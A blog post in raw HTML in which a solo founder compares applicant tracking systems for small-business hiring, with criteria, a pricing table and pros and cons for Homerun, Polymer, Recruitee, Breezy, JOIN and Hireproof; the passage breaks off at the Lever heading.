 &lt;strong>Note&lt;/strong>: This isn&amp;rsquo;t affiliate blogspam where I give fake reviews to push you to sign up for whoever gives me a commission. I have no business relationship with any of these companies except as a customer. The links below are not referral or affiliate links, so I earn nothing if you sign up.
&lt;/div>

&lt;h2 id="why-use-an-applicant-tracking-system-ats">Why use an applicant tracking system (ATS)?&lt;/h2>
&lt;p>The last time I hired for a role, I posted the job on WeWorkRemotely and directed candidates to email me. I ended up &lt;a href="https://mtlynch.io/retrospectives/2022/03/#hiring-a-support-engineer-the-job-posting">receiving 221 applications&lt;/a>, so managing them in email became messy. I came up with a folder labeling system that worked okay, but this time around, I want a purpose-built tool for tracking applications.&lt;/p>
&lt;h2 id="criteria">Criteria&lt;/h2>
&lt;p>When I started my search, I created the following criteria for what I wanted in an applicant tracking system:&lt;/p>
&lt;h3 id="requirements">Requirements&lt;/h3>
&lt;ul>
&lt;li>Shows me a view of candidates at each hiring stage&lt;/li>
&lt;li>Treats candidates respectfully
&lt;ul>
&lt;li>Doesn&amp;rsquo;t force them to fill out the same information redundantly or jump through unnecessary hoops to apply&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Costs &amp;lt;= $300/month&lt;/li>
&lt;li>Publishes clear pricing&lt;/li>
&lt;li>Allows me to sign up without scheduling a demo&lt;/li>
&lt;/ul>
&lt;h3 id="nice-to-haves">Nice-to-haves&lt;/h3>
&lt;ul>
&lt;li>Optimized for small businesses
&lt;ul>
&lt;li>I don&amp;rsquo;t need features for group decisions and approvals that large businesses need&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Focuses on the applicant tracking part rather than trying to be an overall HR tool&lt;/li>
&lt;li>Allows me to pause billing between job openings
&lt;ul>
&lt;li>I typically only have one open position every few months, so I don&amp;rsquo;t want to pay the standard monthly fee, but I don&amp;rsquo;t want to have to start from scratch if I come back a few months later.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="dealbreakers">Dealbreakers&lt;/h3>
&lt;ul>
&lt;li>Mentions &amp;ldquo;AI-powered&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;h2 id="overview">Overview&lt;/h2>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Platform&lt;/th>
 &lt;th>Pricing&lt;/th>
 &lt;th>Self-service signup?&lt;/th>
 &lt;th>Pause billing?&lt;/th>
 &lt;th>Focused on applicant tracking?&lt;/th>
 &lt;th>UX Rating&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://www.homerun.co/">Homerun&lt;/a>&lt;/td>
 &lt;td>$71/mo&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>8&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.polymer.co/">Polymer&lt;/a>&lt;/td>
 &lt;td>$10/mo per open job&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>6&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://recruitee.com">Recruitee&lt;/a>&lt;/td>
 &lt;td>$109/mo&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>7&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://breezy.hr">Breezy&lt;/a>&lt;/td>
 &lt;td>Free&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://join.com">JOIN&lt;/a>&lt;/td>
 &lt;td>Free&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>???&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://hireproof.io/">Hireproof&lt;/a>&lt;/td>
 &lt;td>Not published&lt;/td>
 &lt;td>Sort of&lt;/td>
 &lt;td>???&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>3&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://eddy.com/">Eddy&lt;/a>&lt;/td>
 &lt;td>$300/mo + ???&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>???&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.greenhouse.io/">Greenhouse&lt;/a>&lt;/td>
 &lt;td>Not published&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>???&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.lever.co/">Lever&lt;/a>&lt;/td>
 &lt;td>Not published&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>???&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* For pricing, I&amp;rsquo;m using the lowest tier plan that would fit my needs, which is to have one job opening and unlimited candidates.&lt;br>
** For companies that bill in Euros, I&amp;rsquo;ve converted to USD for convenience of comparing.&lt;/p>
&lt;h2 id="my-pick-homerun">My pick: &lt;a href="https://www.homerun.co/">Homerun&lt;/a>&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Summary&lt;/strong>: All-around strong platform with bootstraper-friendly pricing
&lt;/div>

&lt;p>Homerun was the very last ATS I evaluated, but it ended up being my favorite. I signed up as a paying customer within an hour of using it.&lt;/p>
&lt;p>Homerun has a clean UI that simplified the process of creating a job application. They have flexible options for creating application questions with standard UI controls like short answer, long answer, multiple choice:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/homerun-3.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/homerun-3_hu_29e6fe3b0fdbab8.jpg 300w, https://mtlynch.io/notes/bootstrapper-ats/homerun-3_hu_5cf6724e2f2917ba.jpg 600w, https://mtlynch.io/notes/bootstrapper-ats/homerun-3_hu_2e3e4c5db18aafbd.jpg 800w, https://mtlynch.io/notes/bootstrapper-ats/homerun-3_hu_9f84a3bbc3fe734b.jpg 1200w, https://mtlynch.io/notes/bootstrapper-ats/homerun-3.jpg 1701w'
 src="https://mtlynch.io/notes/bootstrapper-ats/homerun-3.jpg" alt="UX for creating job applications in Homerun" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Homerun has a nice Kanban-style view of candidates at various stages of the hiring pipeline, and they make it easy to manage communications with each applicant:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/homerun-1.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/homerun-1_hu_5e285674c892e424.jpg 300w, https://mtlynch.io/notes/bootstrapper-ats/homerun-1_hu_a4fbb32cf3d27d66.jpg 600w, https://mtlynch.io/notes/bootstrapper-ats/homerun-1_hu_ae5d0f1dffe535ae.jpg 800w, https://mtlynch.io/notes/bootstrapper-ats/homerun-1_hu_85c97cfcdd179057.jpg 1200w, https://mtlynch.io/notes/bootstrapper-ats/homerun-1.jpg 1718w'
 src="https://mtlynch.io/notes/bootstrapper-ats/homerun-1.jpg" alt="Kanban overview of job applicants" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/homerun-2.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/homerun-2_hu_8238b94bfd9eb9aa.jpg 300w, https://mtlynch.io/notes/bootstrapper-ats/homerun-2_hu_a5d91c4f5b2fa569.jpg 600w, https://mtlynch.io/notes/bootstrapper-ats/homerun-2_hu_f69662e9d666e3ad.jpg 800w, https://mtlynch.io/notes/bootstrapper-ats/homerun-2_hu_53c41f1bfcadf845.jpg 1200w, https://mtlynch.io/notes/bootstrapper-ats/homerun-2.jpg 1718w'
 src="https://mtlynch.io/notes/bootstrapper-ats/homerun-2.jpg" alt="Detailed view of applicant" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 
&lt;/figure>

&lt;p>At first, I was overwhelmed by Homerun&amp;rsquo;s job posting UI. By default, they drop you into a full-blown landing page builder with complicated layouts, when all I really wanted was a job description and initial questions.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/homerun-builder.png">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/homerun-builder_hu_40141eea8258baa2.png 300w, https://mtlynch.io/notes/bootstrapper-ats/homerun-builder_hu_4ec824ad8eb88730.png 600w, https://mtlynch.io/notes/bootstrapper-ats/homerun-builder_hu_502764fc23b98eb2.png 800w, https://mtlynch.io/notes/bootstrapper-ats/homerun-builder_hu_d3d9af8e5183e3a8.png 1200w, https://mtlynch.io/notes/bootstrapper-ats/homerun-builder.png 1701w'
 src="https://mtlynch.io/notes/bootstrapper-ats/homerun-builder.png" alt="Complicated landing page builder on Homerun" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>At first, I was put off by Homerun&amp;rsquo;s complicated landing page builder.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It turns out that you can opt-out of a &amp;ldquo;job listing&amp;rdquo; page and use Homerun exclusively for a &amp;ldquo;job application.&amp;rdquo; I appreciated that, because it allows me to delegate the job posting to other sites that specialize in it.&lt;/p>
&lt;p>I wasn&amp;rsquo;t sure if it supported billing pauses, but Homerun&amp;rsquo;s founder &lt;a href="https://twitter.com/vvillem/status/1557388615138906112">confirmed on Twitter&lt;/a> that if you downgrade to the free tier between job openings, Homerun preserves all of your data at no cost.&lt;/p>
&lt;p>I&amp;rsquo;m a few days into the hiring process with Homerun, and it&amp;rsquo;s been a great experience so far. It does a good job of managing applications, showing analytics about the procss, and eliminating repetitive tasks.&lt;/p>
&lt;ul>
&lt;li>Pros
&lt;ul>
&lt;li>Best UX of any ATS I tried&lt;/li>
&lt;li>Flexible tools for creating job application&lt;/li>
&lt;li>Nice integration of email templates&lt;/li>
&lt;li>Cool analytics that show high-level stats for your job opening&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cons
&lt;ul>
&lt;li>Creepy mascot&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Update (2022-09-14)&lt;/strong>: See &lt;a href="https://mtlynch.io/retrospectives/2022/09/#homerun-is-good-not-great">my notes on using Homerun&lt;/a> for the full hiring process.&lt;/p>
&lt;h2 id="runner-up-polymer">Runner up: &lt;a href="https://www.polymer.co/">Polymer&lt;/a>&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Summary&lt;/strong>: A respectable second-best that covers the basics at low pricing but could use some UX improvement
&lt;/div>

&lt;p>Bootstrapper extraordinaire Monica Lent &lt;a href="https://twitter.com/monicalent/status/1556716598605631489">recommended Polymer&lt;/a> to me because she had just begun using them. and I came very close to moving forward with Polymer, but then I found Homerun.&lt;/p>
&lt;p>Unlike most ATS platforms that charge by the month, Polymer charges by job openings per month, so it&amp;rsquo;s much friendlier to small businesses that only have open positions occasionally.&lt;/p>
&lt;p>From the looks of the website and their LinkedIn, Polymer seems to be small company with just a handful of team members, and I feel like small companies generally excel at serving other small companies.&lt;/p>
&lt;p>I liked that Polymer focuses on job applications and applicant tracking, whereas most other platforms bloat their scope by trying to be an integrated recruiting, hiring, and general HR platform.&lt;/p>
&lt;p>Polymer&amp;rsquo;s UX is okay. It&amp;rsquo;s simpler than a lot of the other platforms, but I found the organization confusing. They have multiple call-to-action buttons on each page, and they use up a huge amount of screen real estate showing me menu options unrelated to my current task:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/polymer-ux.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/polymer-ux_hu_249316a6c13a5512.png 300w, https://mtlynch.io/notes/bootstrapper-ats/polymer-ux_hu_2550f62032903cb2.png 600w, https://mtlynch.io/notes/bootstrapper-ats/polymer-ux_hu_a8f75b4a9f616a2f.png 800w, https://mtlynch.io/notes/bootstrapper-ats/polymer-ux_hu_2cc05bd7445a992.png 1200w, https://mtlynch.io/notes/bootstrapper-ats/polymer-ux.png 1718w'
 src="https://mtlynch.io/notes/bootstrapper-ats/polymer-ux.png" alt="Polymer&amp;#39;s UI with many nested options" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Polymer&amp;rsquo;s UX was a little crowded with nested menu options for unrelated tasks&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>Pros
&lt;ul>
&lt;li>Small, focused company&lt;/li>
&lt;li>&lt;a href="https://www.polymer.co/changelog">Changelog&lt;/a> shows frequent improvements and new features&lt;/li>
&lt;li>Pricing is friendly to occasional hiring&lt;/li>
&lt;li>Simple and focused features&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cons
&lt;ul>
&lt;li>Crowded UI&lt;/li>
&lt;li>Support documentation is out of date&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="recruitee">&lt;a href="https://recruitee.com">Recruitee&lt;/a>&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Summary&lt;/strong>: Nice UX, but the collaboration features are too much if the hiring team is just one or two people
&lt;/div>

&lt;p>The main problem with Recruitee from a bootstrapper&amp;rsquo;s perspective is that it&amp;rsquo;s designed for collaborative hiring decisions. If you&amp;rsquo;re an indie founder who makes hiring decisions alone or with one other co-founder, the collaboration features are overkill and get in the way.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/recruitee-1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/recruitee-1_hu_73e82e70b0b53ff7.png 300w, https://mtlynch.io/notes/bootstrapper-ats/recruitee-1_hu_959e3b37ae57f739.png 600w, https://mtlynch.io/notes/bootstrapper-ats/recruitee-1_hu_48ba74309406a048.png 800w, https://mtlynch.io/notes/bootstrapper-ats/recruitee-1_hu_817f0494522ea742.png 1200w, https://mtlynch.io/notes/bootstrapper-ats/recruitee-1.png 1718w'
 src="https://mtlynch.io/notes/bootstrapper-ats/recruitee-1.png" alt="Kanban overview of job applicants" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/recruitee-2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/recruitee-2_hu_7d3b7d80ea19c651.png 300w, https://mtlynch.io/notes/bootstrapper-ats/recruitee-2_hu_945e2f4ce059a3f5.png 600w, https://mtlynch.io/notes/bootstrapper-ats/recruitee-2_hu_980c5ecfd9222ab6.png 800w, https://mtlynch.io/notes/bootstrapper-ats/recruitee-2_hu_b2a00bd3a637a7b.png 1200w, https://mtlynch.io/notes/bootstrapper-ats/recruitee-2.png 1718w'
 src="https://mtlynch.io/notes/bootstrapper-ats/recruitee-2.png" alt="Detailed view of applicant" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 
&lt;/figure>

&lt;p>Visually, Recruitee&amp;rsquo;s UI is attractive. The style is nice, but Recruitee has so much functionality that I found myself getting lost while trying to find the tools or views that I wanted.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Pros&lt;/p>
&lt;ul>
&lt;li>Self-serve demo experience is nice&lt;/li>
&lt;li>UI is visually appealing&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Cons&lt;/p>
&lt;ul>
&lt;li>Designed for team-based hiring decisions, so flows aren&amp;rsquo;t ideal for a solo founder / hiring manager&lt;/li>
&lt;li>Scope is bloated with lots of features beyond applicant tracking such as offer letter signing and recruiting&lt;/li>
&lt;li>No way to pause billing when you&amp;rsquo;re not hiring, so you have to either pay for unused months or lose all your data&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="breezy">&lt;a href="https://breezy.hr">Breezy&lt;/a>&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Summary&lt;/strong>: Covers the basics, but doesn&amp;rsquo;t seem to have advantages over other ATS platforms
&lt;/div>

&lt;p>Breezy didn&amp;rsquo;t impress me. I didn&amp;rsquo;t experiment with it much because other platforms strictly dominate it, but it seems like it covers the basics: it lets you manage candidates in a kanban view and helps you manage communication with them.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/breezy-1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/breezy-1_hu_ff06f019cee23edc.png 300w, https://mtlynch.io/notes/bootstrapper-ats/breezy-1_hu_35b6338d0f0500aa.png 600w, https://mtlynch.io/notes/bootstrapper-ats/breezy-1_hu_3d5bc1a363db53c8.png 800w, https://mtlynch.io/notes/bootstrapper-ats/breezy-1_hu_4baecf3a544112da.png 1200w, https://mtlynch.io/notes/bootstrapper-ats/breezy-1.png 1718w'
 src="https://mtlynch.io/notes/bootstrapper-ats/breezy-1.png" alt="Kanban overview of job applicants" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/breezy-2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/breezy-2_hu_8e4bd9fbf46acf39.png 300w, https://mtlynch.io/notes/bootstrapper-ats/breezy-2_hu_320d97dfd4821942.png 600w, https://mtlynch.io/notes/bootstrapper-ats/breezy-2_hu_32526065513019f1.png 800w, https://mtlynch.io/notes/bootstrapper-ats/breezy-2_hu_837d17d77e14f05.png 1200w, https://mtlynch.io/notes/bootstrapper-ats/breezy-2.png 1718w'
 src="https://mtlynch.io/notes/bootstrapper-ats/breezy-2.png" alt="Detailed view of applicant" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 
&lt;/figure>

&lt;p>The UI is disappointingly plain. It&amp;rsquo;s mostly stock &lt;a href="https://getbootstrap.com/">Bootstrap CSS&lt;/a> without much customization.&lt;/p>
&lt;p>Breezy&amp;rsquo;s UX suffers from too many options, not enough workflows. One of Homerun&amp;rsquo;s strengths is that it supports you through sequences of common steps, so if you disqualify a candidate, the next step is to notify them. Breezy doesn&amp;rsquo;t seem to have any concept of workflows. All the options are visible all the time, and when you disqualify a candidate, there&amp;rsquo;s no feedback that anything has even changed.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Pros&lt;/p>
&lt;ul>
&lt;li>Free for a single job opening&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Cons&lt;/p>
&lt;ul>
&lt;li>UI is primitive relative to other solutions&lt;/li>
&lt;li>No way to pause billing when you&amp;rsquo;re not hiring, so you have to either pay for unused months or it deletes all of your applicants after 30 days&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="join">&lt;a href="https://join.com">JOIN&lt;/a>&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Summary&lt;/strong>: Slows down the hiring process with manual reviews and broken functionality
&lt;/div>

&lt;p>I was suspicious of JOIN from the get-go because the main feature they advertise is that they&amp;rsquo;re free. That&amp;rsquo;s a red flag for me. It generally means that the company&amp;rsquo;s incentives are not aligned with their users because the money is coming from somewhere else.&lt;/p>
&lt;p>Bizarrely, JOIN is set up so that you can&amp;rsquo;t try it out until you publish a real job listing and begin accepting candidate applications. Most platforms have a demo mode where they populate your account with synthetic data or they let you add applicants manually to see how the interface works, but not JOIN.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/join-1.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/join-1_hu_a5094f5c6e70d62e.jpg 300w, https://mtlynch.io/notes/bootstrapper-ats/join-1_hu_f49caaa4823c040e.jpg 600w, https://mtlynch.io/notes/bootstrapper-ats/join-1_hu_9ad69941badea5a2.jpg 800w, https://mtlynch.io/notes/bootstrapper-ats/join-1_hu_4af5023b35a62336.jpg 1200w, https://mtlynch.io/notes/bootstrapper-ats/join-1.jpg 1718w'
 src="https://mtlynch.io/notes/bootstrapper-ats/join-1.jpg" alt="Kanban overview of job applicants - empty because JOIN doesn&amp;#39;t allow me to enter candidates without manual approval" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/join-2.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/join-2_hu_a41870592b9c520c.jpg 300w, https://mtlynch.io/notes/bootstrapper-ats/join-2_hu_d8e59abfdd44ddf.jpg 600w, https://mtlynch.io/notes/bootstrapper-ats/join-2_hu_c5df047a3b479a6b.jpg 800w, https://mtlynch.io/notes/bootstrapper-ats/join-2_hu_84815c8c55374f71.jpg 1200w, https://mtlynch.io/notes/bootstrapper-ats/join-2.jpg 1285w'
 src="https://mtlynch.io/notes/bootstrapper-ats/join-2.jpg" alt="Applicant view of job listing with a banner saying that JOIN is currently reviewing my account" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 
&lt;/figure>

&lt;p>I tried creating a test job so that I could apply myself and see what the application experience is like for candidates and how JOIN manages applicants on the hiring side, but no luck. Creating a job requires manual review by the JOIN team, so I gave up.&lt;/p>
&lt;p>I tried to log in again today and found that JOIN had disabled my account with an invitation to beg forgiveness from their chatbot. I tried contacting support, and the chat didn&amp;rsquo;t even work:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/join-locked.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/join-locked_hu_96c1854fa20cc6da.png 300w, https://mtlynch.io/notes/bootstrapper-ats/join-locked_hu_c9d945917c7dfbf0.png 600w, https://mtlynch.io/notes/bootstrapper-ats/join-locked_hu_9d074584a233dd10.png 800w, https://mtlynch.io/notes/bootstrapper-ats/join-locked_hu_2005550a44c0a943.png 1200w, https://mtlynch.io/notes/bootstrapper-ats/join-locked.png 1718w'
 src="https://mtlynch.io/notes/bootstrapper-ats/join-locked.png" alt="JOIN login screen says &amp;#39;Your account is currently unavailable. Talk to us&amp;#39; which pops up a live chat interface" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;ul>
&lt;li>
&lt;p>Pros&lt;/p>
&lt;ul>
&lt;li>UI seems decent&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Cons&lt;/p>
&lt;ul>
&lt;li>JOIN staff has to review your account manually before you can begin accepting job applications&lt;/li>
&lt;li>Disabled my account with no notice&lt;/li>
&lt;li>Impossible to evaluate until you start using it for real candidates&lt;/li>
&lt;li>No way to add free-form questions&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="hireproof">&lt;a href="https://hireproof.io/">Hireproof&lt;/a>&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Summary&lt;/strong>: Confusing UX, seems to be targeting rapidly growing companies rather than small bootstrappers
&lt;/div>

&lt;p>Someone recommended Hireproof to me on Twitter, and I&amp;rsquo;m not quite sure it even is an applicant tracking system. Their signup page is deceptive in that at the end, you don&amp;rsquo;t get access to the product but just get added to a waitlist.&lt;/p>
&lt;p>The next day, I received an email inviting me to try the actual product. And after using it, I&amp;rsquo;m not sure what the app is, exactly. I think it&amp;rsquo;s less about managing candidates and more about training many people in your company to perform interviews consistently.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/hireproof-1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/hireproof-1_hu_dab95185e08fcac2.png 300w, https://mtlynch.io/notes/bootstrapper-ats/hireproof-1_hu_e2fc70c18c6c14cf.png 600w, https://mtlynch.io/notes/bootstrapper-ats/hireproof-1_hu_aa48cb63817e48b4.png 800w, https://mtlynch.io/notes/bootstrapper-ats/hireproof-1_hu_61dbad6bfd619cab.png 1200w, https://mtlynch.io/notes/bootstrapper-ats/hireproof-1.png 1718w'
 src="https://mtlynch.io/notes/bootstrapper-ats/hireproof-1.png" alt="Hireproof screen showing instructions about interviewing a candidate and recording their responses" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If you&amp;rsquo;re the founder of a small company, that&amp;rsquo;s not necessary, as you don&amp;rsquo;t need a tool to help you be consistent with yourself.&lt;/p>
&lt;p>I don&amp;rsquo;t want to be too critical since they&amp;rsquo;re still in closed beta, but I had a lot of trouble navigating the platform. They show me tons of UI controls with no indication of what I have to do next.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/hireproof-2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/bootstrapper-ats/hireproof-2_hu_37e402640eb21c2c.png 300w, https://mtlynch.io/notes/bootstrapper-ats/hireproof-2_hu_8793b86803c04146.png 600w, https://mtlynch.io/notes/bootstrapper-ats/hireproof-2_hu_6a22701c57657741.png 800w, https://mtlynch.io/notes/bootstrapper-ats/hireproof-2_hu_a66744030217d714.png 1200w, https://mtlynch.io/notes/bootstrapper-ats/hireproof-2.png 1701w'
 src="https://mtlynch.io/notes/bootstrapper-ats/hireproof-2.png" alt="Hireproof screen showing a wall of UI controls with no clear call to action" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I gave up after ten minutes.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Pros&lt;/p>
&lt;ul>
&lt;li>UI is pretty, albeit confusing&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Cons&lt;/p>
&lt;ul>
&lt;li>No CTAs, so it&amp;rsquo;s hard to navigate&lt;/li>
&lt;li>Seems to target large organizations or companies aiming for rapid growth&lt;/li>
&lt;li>Terrible name — like naming your platform &amp;ldquo;Unhireable&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="eddy">&lt;a href="https://eddy.com/">Eddy&lt;/a>&lt;/h2>
&lt;p>They don&amp;rsquo;t allow self-service signups, so I didn&amp;rsquo;t try it.&lt;/p>
&lt;h2 id="greenhouse">&lt;a href="https://www.greenhouse.io/">Greenhouse&lt;/a>&lt;/h2>
&lt;p>They don&amp;rsquo;t allow self-service signups, so I didn&amp;rsquo;t try it.&lt;/p>
&lt;h2 id="lever">&lt;a href="https://www.lever.co/">Lever&lt;/a>&lt;/h2>
